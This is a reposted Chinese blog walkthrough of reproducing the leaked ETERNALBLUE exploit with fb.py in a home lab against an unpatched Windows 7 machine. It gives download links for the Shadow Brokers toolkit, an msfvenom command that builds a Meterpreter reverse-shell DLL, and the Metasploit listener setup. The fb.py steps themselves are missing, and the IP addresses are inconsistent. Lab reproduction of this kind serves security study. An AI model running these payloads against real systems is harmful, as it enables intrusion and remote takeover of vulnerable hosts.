方程式ETERNALBLUE 之fb.py的复现

方程式ETERNALBLUE 之fb.py的复现

创新互联-专业网站定制、快速模板网站建设、高性价比双辽网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式双辽网站制作公司更省心,省钱,快速模板网站建设找我们，业务覆盖双辽地区。费用合理售后完善，十年实体公司更值得信赖。

1.环境简介
***机win2003
ip:192.168.1.105
***机kali:
ip:192.168.1.106
靶机（被***机）window7 x64(未装smb漏洞补丁）
ip:192.168.1.100

2.windows2003***机
***机win2003安装环境：
python-2.6.6.msi
https://www.python.org/download/releases/2.6.6/
pywin32-221.win-amd64-py2.6.exe：
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
方程式ETERNALBLUE 下载地址：
https://codeload.github.com/misterch0c/shadowbroker/zip/master

安装好python后，需要在win2003设置环境变量：

将整个ETERNALBLUE 目录下的 windows拷贝到***机win2003上

在windows目录下建立一个文件为：listeningposts
运行phthon fb.py
以下在***机win2003上执行fb.py的具体命令重要命令如下，其他命令都用回车执行。

3***机kali上
利用msf生成一个dll劫持文件：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.108.131 LPORT=5555 -f dll > /opt/s.dll

将s.dll文件拷贝到windows2003的C盘目录下：

在msf下开启msfpaylod监听：
use exploit/multi/handler
set lhost 192.168.1.106
set lport 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

4.接着在windows2003下执行

最后在msf下可以看到成功反弹shell:

网站题目：方程式ETERNALBLUE 之fb.py的复现
浏览地址：https://www.cdcxhl.com/article26/gihsjg.html

成都网站建设公司_创新互联，为您提供App开发、微信公众号、商城网站、、外贸网站建设、品牌网站设计

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联